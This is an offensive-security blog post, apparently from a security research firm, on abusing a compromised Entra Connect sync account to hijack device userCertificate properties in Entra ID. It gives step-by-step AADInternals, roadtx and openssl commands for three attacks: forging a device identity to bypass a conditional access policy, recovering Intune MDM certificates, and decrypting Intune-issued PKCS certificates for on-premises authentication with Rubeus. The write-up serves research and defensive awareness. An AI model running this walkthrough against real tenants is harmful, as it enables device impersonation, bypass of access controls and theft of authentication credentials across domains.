Entra Connect Attacker Tradecraft: Part 3

TL;DR Attackers can exploit Entra Connect sync accounts to hijack device userCertificate properties, enabling device impersonation and bypassing conditional access policies. By leveraging this access, they can retrieve Intune-issued MDM and PKCS certificates, potentially compromising on-premises domains and sensitive credentials.

Read First

Attacking Entra Metaverse: Part 1 – SpecterOps

Entra Connect Attacker Tradecraft: Part 2 – SpecterOps

Intro

Organizations often choose to deploy multiple Entra Connect agents across disparate domains within the same tenant. In this blog post, we will explore the device tradecraft that can be performed to compromise a completely separate domain within the same tenant. This includes conditional access policy bypass and leveraging Intune to compromise on-premises domains.

Device userCertificate Hijacking

• How is the userCertificate used in hybrid environments
• Use a sync account to add a userCertificate to any device in the Tenant

Device Registration Overview

There are a few good resources for understanding how device registration works (https://learn.microsoft.com/en-us/entra/identity/devices/device-registration-how-it-works, https://aadinternals.com/post/devices/ ), but I will summarize here, if not for my own benefit.

When a device starts registration, it first generates two key pairs (TKpub, TKpriv and DKpub, DKpriv) and a Certificate Signing Request (CSR) with DKPub.

The TKpub and the CSR are sent to the Device Registration Service, indicating that a new device with the provided CSR and key pairs is to be registered. The important caveat here is that this is an authenticated call. Consider for a second how hundreds of thousands of devices need to do this in a hybrid environment. It would be prohibitively time-consuming if an administrator or user needed to authenticate to each new provisioned device in an Enterprise network before it is hybrid joined. So how are hybrid joined devices automatically registered?

Device userCertificate

Of course it’s called a “userCertificate”, not a deviceCertificate 😖. When an administrator uses GPO or Intune to configure automatic hybrid joining for devices, a scheduled task is installed on all systems in scope. The scheduled task generates a self-signed “userCertificate” and sets it on the computer LDAP object. Note that computer objects without a userCertificate will still be ingested into the metaverse but won’t be exported to Entra ID until it has a userCertificate set.

Once the userCertificate is set on the device object, it will be exported to the Entra ID connector space on the next Entra ID sync, which can take up to 30 minutes by default. After the device is synced by Entra Connect Sync, the device exists in Entra ID but is not fully registered, as it has not signed a CSR nor has an associated TKpub. However, the computer now has a way to authenticate to Entra ID by means of the userCertificate. This enables automation of the device registration mentioned above. Here’s the post request that gets made to the enrollment service to register a device. Even though it’s not shown, there are no authentication headers, this call is made completely “unauthenticated”.

The next time the scheduled task runs, it will attempt to perform a device registration and complete the process, all without user credentials. The response will look something like this:

This is the signed PFX certificate that can be used for device authentication from here on out. So far, our attack looks like this:

Abusing the Sync Account

You may have noticed that the sync account for Entra Connect sync is responsible for setting the userCertificate on the device in Entra ID, meaning that it has the permission to add credentials to any device in the tenant, even if it’s not in the same domain. Which means, according to the graphic above, we can obtain a device certificate for any device in the tenant! There has to be a way we can take advantage of this. I can think of three primary functions:

1. Conditional Access bypass (This is boring)
2. Device ID tokens
3. Obtain a device certificate and download Intune configs

Conditional Access Bypass

I think this is the most boring because if we have already compromised the sync account, we probably aren’t too concerned with conditional access. However, let’s say that we were able to compromise a privileged account such as an account assigned a Global Administrator role, but a conditional access policy states that it can only access Entra ID-backed resources through a Privileged Access Workstation (PAW). With the ability to modify the userCertificate on the PAW, we can obtain a new device certificate and bypass the conditional access policy. To walk through this, consider the following conditional access policy:

In this policy, we state that the user pawuser@hotnops.com must come from the device with deviceId “8ae472dd-d2e6–46f5–965d-e81578d3468c” to obtain a token for *any* resource in Entra ID. More precisely, if there isn’t a deviceId claim that equals our device ID, then the token issuance fails. The idea here is that in order to use pawuser, the user must be on their PAW. If we compromise or overwrite credentials of pawuser (which we cover in Part 1 and Part 2), then we can bypass this policy by forging a device identity. Let’s walk through how it works:

1. We attempt to obtain a graph token for pawuser@hotnops.com to prove that conditional access is working

roadtx auth -u pawuser@hotnops.com
Error during authentication: AADSTS53003: Access has been blocked by Conditional Access policies. The access policy does not allow token issuance. Trace ID: 663df12b-0c78–497c-8834-a110e5416f00 Correlation ID: 54a68710-ab68–4df1–885c-5bf71ba7959a

2. We generate a new self-signed certificate

ipmo AADInternals
$cert = New-AADIntCertificate -SubjectName CN={{Device ID of device to takeover}}
$userCert = Convert-ByteArrayToB64 -Bytes ($cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))

3. We use our compromised sync account to write the self-signed certificate to our PAW object in Entra ID

Get-AADIntAccessToken -Resource https://graph.microsoft.com -ClientId cb1056e2-e479–49de-ae31–7812af012ed8 -SaveToCache $true
$targetObj = $objects | where-object {$_.DisplayName -eq "paw"}
Set-AADIntAzureADObject -SourceAnchor $targetObj.sourceAnchor -userCertificate $userCert -Operation Add -CloudAnchor $targetObj.cloudanchor -ObjectType "Device"

4. We submit a CSR and obtain a new device certificate

Join-AADIntDeviceToAzureAD -DeviceName "paw" -Certificate $cert -SID {{SID of target device}} -TenantId {{Target Tenant ID}}

5. We authenticate as pawuser@hotnops.com with our device certificate, bypassing the conditional access policy

roadtx prt - cert-pfx .\893a92a9–3297–4e8a-898b-5ff25139049a.pfx -u pawuser@hotnops.com -p password
roadtx prtauth -r https://graph.microsoft.com - prt $prt - prt-sessionkey $sk

We now have a valid token for Microsoft Graph by impersonating a device identity, bypassing the PAW conditional access policy.

This can come in handy for a variety of use cases, but beware that registering a new certificate will invalidate the one issued to the actual device. This type of bypass is similar to one that Dirjkan Mollema discovered by reusing the MSA-DDID value.

Intune Abuse

If we can pretend we are a device, what else can we get? It turns out, we can also obtain Intune MDM certificates and P2P certificates for the device. I will walk through in detail how this is done:

Intune is interesting because if we can forge an Intune device, perhaps we can obtain sensitive credential material such as VPN creds, WiFi creds, or even certificates for on-premises authentication. However, a typical Intune configuration also requires user authentication, as the licenses are assigned to users. Let’s consider the following scenario where an Intune Certificate Connector is installed in a domain within the same Entra ID tenant:

In this case, an attacker has compromised the sccm.hotnops.com domain along with the sync account used to sync data from the on-premises domain to the hotnops.com tenant. A completely separate domain, keytrust.hotnops.com, is using Intune and is issuing certificates to devices with the Intune Certificate Connector. In this case, the attacker is likely capable of compromising the entire keytrust.hotnops.com domain, assuming line of sight to the domain controller. If the administrators followed the guidance here, then they set themselves up for a pretty sweet ESC1 attack in which Intune controls the Subject in issued certificates (may be applicable for users and devices!). The Intune Certificate Connector can issue certificates for users and devices, so assuming that we present ourselves as eligible for receiving certificates, we can obtain authentication material for devices in a domain we don’t have access to.

As a huge aside, if Intune Certificate Connector is installed on-premises, THIS IS ALMOST A GUARANTEE OF ENTRA ID TO ON-PREMISES COMPROMISE, as Entra ID controls subject name and SAN of the certificate.

To demonstrate, let’s examine an Intune configuration policy that exists in keytrust.hotnops.com:

I followed this setup as per Microsoft documentation, and you can see that any device in the “keytrust-workstations” group will get a PKCS certificate issued to it so that it can authenticate to on-premises resources. Two things to note here:

1. If we can authenticate as any device in the tenant, we can authenticate as a keytrust device and obtain a device certificate
2. Since we control the fully qualified domain name of the device with the sync account, we can set that on a newly created device and possibly obtain certificates for a device that isn’t even synced

There is a caveat that I mentioned before. Intune is user-centric because of licensing. This means that we need to compromise a user with a valid Intune license to obtain the MDM certificate of the device. This shouldn’t pose an issue, however, especially with hybrid joined environments, as the Intune enrollment service will almost always be excluded from MFA requirements. We will need:

1. An Intune access token for a user with an Intune license
2. The MDM certificate of the device we want to target
3. Line of sight to the target domain controller (keytrust.hotnops.com)

Let’s visualize the attack before we do a walkthrough:

1. Compromise a user that has an active Intune license

Following the steps in part 1 or part 2, let’s assume we can add credentials to a user so we can log in to our new workstation. The user token is only for recovering the MDM certificate.

2. Identify a device in the keytrust-workstations group

Let’s enumerate the keytrust-workstations group and find a device to hijack. In this case, there is a device named “Workstation” that exists in the group. The idea is to hijack the userCertificate of the device and obtain the PKCS certificate that is issued to it. Note that if Intune configuration policies are more permissive or dynamic, it may be possible to create a new device registration as opposed to hijacking an existing one.

3. Modify the userCertificate property on the Entra ID object

Here is the powershell cmdlets to use to update the userCertificate property

$cert = New-AADIntCertificate -SubjectName CN=99264658-e64f-4855–9c54–373481082928 // device id of device to takeover
$userCert = Convert-ByteArrayToB64 -Bytes ($cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
Set-AADIntAzureADObject -SourceAnchor $targetObj.sourceAnchor -userCertificate $userCert -Operation Add -CloudAnchor $targetObj.cloudanchor -ObjectType "Device"
Join-AADIntDeviceToAzureAD -DeviceName "Workstation" -Certificate $cert -SID "<target SID>" -TenantId "<target tenant ID>" -DeviceName <target device name> -DomainName "target domain name"

4. Recover the MDM certificate

$jwt = Get-AADIntAccessTokenForIntuneMDM -PfxFileName <pfx file from previous command> -SaveToCache

This is where we need the user compromise because our SyncML session requires a user token

$certs = Get-MDMRecoveryCert -AccessToken $jwt -DeviceName "Workstation" -BPRT $false

The code for Get-MDMRecoveryCert is copied straight from AADInternals except one key difference: The request type is changed from:

<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</wst:RequestType>

 To:

<wst:RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Recovery</wst:RequestType>

 This enables us to recover the MDM certificate without issuing a new one and creating a new MDM device. Thanks to call4cloud.nl.

$certs[2].Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, $password)
[System.IO.File]::WriteAllBytes($path, $bytes)

5. Obtain the PKCS certificates

We now have an MDM certificate for our target device! With this and our access token, we can acquire the PKCS certificates for the device. The tricky part is to convince Intune to send down the certificates that are required via configuration profile. In my next blog post, I will discuss the OMA-DM mechanics that will help us get our desired certificates. For now, we’ll need to do it manually. I have found the best way to achieve this is to set up a new VM and manually install the previously obtained certificates. With a fresh VM install and the correct MDM certificates and access token, we can obtain the PKCS certificates targeted for our device. Using SyncMLViewer, we can observe the OMA-DM sessions that happen between Intune and the device.

I am going to release a follow up blog post and a new CLI tool dedicated entirely to this step. Suffice to say, the conversation goes something like:

Intune: “Do you have this certificate installed”

Attacker: “Of course not, 404”

Intune: “Okey dokey”

Intune then submits a certificate signing request (CSR) to the ADCS server and receives a response through the Intune Certificate Connector. The next time the attacker starts an OMA-DM session, the conversation now goes:

Intune: “You reported that you were missing a cert, here’s a new one”

Attacker: “Thanks, I will install”

Intune: “Do you have this certificate installed?”

Attacker: “Yes, thanks for the free creds”

Here is an example of a real SyncML message that was obtained during this transaction:

<SyncML xmlns="SYNCML:SYNCML1.2" xmlns:A="syncml:metinf">
<SyncHdr>
    <VerDTD>1.2</VerDTD>
    <VerProto>DM/1.2</VerProto>
    <SessionID>3</SessionID>
    <MsgID>4</MsgID>
    <Target>
        <LocURI>{{device id hash}}</LocURI>
    </Target>
    <Source>
        <LocURI>https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx</LocURI>
    </Source>
    <Meta>
        <A:MaxMsgSize>1048576</A:MaxMsgSize>
    </Meta>
</SyncHdr>
<SyncBody>
<Status>
    <CmdID>1</CmdID>
    <MsgRef>4</MsgRef>
    <CmdRef>0</CmdRef>
    <Cmd>SyncHdr</Cmd>
    <Data>200</Data>
</Status>
<Atomic>
    <CmdID>7</CmdID>
    <Replace>
        <CmdID>2</CmdID>
        <Item>
            <Target>
                <LocURI>
                    ./Device/Vendor/MSFT/ClientCertificateInstall/PFXCertInstall/075CC3F2-E713–4006–8027–723E9407ACD0–2069484873/PFXCertBlob</LocURI>
            </Target>
            <Data>MIIM3QI…</Data>
        </Item>
    </Replace>
    <Replace>
        <CmdID>3</CmdID>
        <Item>
            <Target>
                <LocURI>
                    ./Device/Vendor/MSFT/ClientCertificateInstall/PFXCertInstall/075CC3F2-E713–4006–8027–723E9407ACD0–2069484873/PFXCertPasswordEncryptionType</LocURI>
            </Target>
            <Meta>
                <A:Format>int</A:Format>
                <A:Type>text/plain</A:Type>
            </Meta>
            <Data>1</Data>
        </Item>
    </Replace>
    <Replace>
        <CmdID>4</CmdID>
        <Item>
            <Target>
                <LocURI>
                    ./Device/Vendor/MSFT/ClientCertificateInstall/PFXCertInstall/075CC3F2-E713–4006–8027–723E9407ACD0–2069484873/PFXCertPassword</LocURI>
            </Target>
            <Data>MIIB8QYJKo…</Data>
        </Item>
    </Replace>
    <Replace>
        <CmdID>5</CmdID>
        <Item>
            <Target>
                <LocURI>
                    ./Device/Vendor/MSFT/ClientCertificateInstall/PFXCertInstall/075CC3F2-E713–4006–8027–723E9407ACD0–2069484873/PFXKeyExportable</LocURI>
            </Target>
            <Meta>
                <A:Format>bool</A:Format>
                <A:Type>text/plain</A:Type>
            </Meta>
            <Data>false</Data>
        </Item>
    </Replace>
    <Replace>
        <CmdID>6</CmdID>
        <Item>
            <Target>
                <LocURI>
                    ./Device/Vendor/MSFT/ClientCertificateInstall/PFXCertInstall/075CC3F2-E713–4006–8027–723E9407ACD0–2069484873/KeyLocation</LocURI>
            </Target>
            <Meta>
                <A:Format>int</A:Format>
                <A:Type>text/plain</A:Type>
            </Meta>
            <Data>3</Data>
        </Item>
    </Replace>
</Atomic>

The contents of the PFXCertBlob and PFXCertPassword are truncated, but you can see we were able to obtain credential material with our MDM certificate and user token.

6. Decrypt the certificate

What you have now is an encrypted PFX data blob (the PFXCertBlob), which is encrypted with the PFXCertPassword. The PFXCertPassword is encrypted with the MDM certificate that we recovered in step 4. To decrypt it, do the following:

1. Save PFXCertBlob data (MIIM3QI…) to a file and name it encryptedDeviceCert.p7m

2. Save the PFXCertPassword data (MIIB8QYJKo…) to a file and name it encryptedPassword.p7m

3. Run the following powershell commands:

[IO.File]::WriteAllBytes("decoded.p7m", [Convert]::FromBase64String((Get-Content -Raw .\encryptedPassword.p7m)))
openssl cms -decrypt -in .\decoded.p7m -inform DER -inkey .\mdm_privatekey.pem -out .\decrypted.txt
[IO.File]::WriteAllBytes("encrypted_device_cert.der", [Convert]::FromBase64String((Get-Content -Raw .\encryptedDeviceCert.p7m)))
openssl pkcs12 -in .\encrypted_device_cert.der -out .\deviceCertificate.pem -nodes -passin pass:$password
openssl pkcs12 -export -out deviceCert.pfx -in .\deviceCertificate.pem

4. Use the device certificate to authenticate on-premises / profit / make yourself a tradewinds 🍹

The resulting deviceCert.pfx is a legitimate client auth certificate of your target device! You can use it with Rubeus to obtain a TGT for the device and do your stuff.

Takeaways

This attack is just an example of what is possible when we can impersonate any device within an Entra ID tenant. I hope you will take a look at this a bit deeper and find new fun ways to abuse this trust. If this is something you end up researching, please come chat about it with us at slack.specterops.io!

Thanks and References

1. https://github.com/dirkjanm/ROADtools — All the roadtx commands in the blog
2. https://aadinternals.com/ — For the certificate recovery code and token manipulation
3. https://call4cloud.nl/intune-mdm-certificate-recovery/ — For documenting how hosts legitimately recover lost MDM certificates. These posts are pure gold.
4. Deep dive of SCEP certificate request/renewal on Intune-managed Windows clients — Modern IT — Cloud — Workplace — Incredible writeup of how SCEP certificates are provisioned
5. https://dirkjanm.io/assets/raw/Insomnihack%20Breaking%20and%20fixing%20Azure%20AD%20device%20identity%20security.pdf — I recommend watching the talk on YouTube as well: https://www.youtube.com/watch?v=x609c-MUZ_g&t=1963s&pp=ygUgaW5zb21uaWhhY2sgYnJlYWtpbmcgYW5kIGZpeGluZyA%3D
6. https://decoder.cloud/2023/11/20/a-deep-dive-in-cert-publishers-group/ — Discussion on the userCertificate property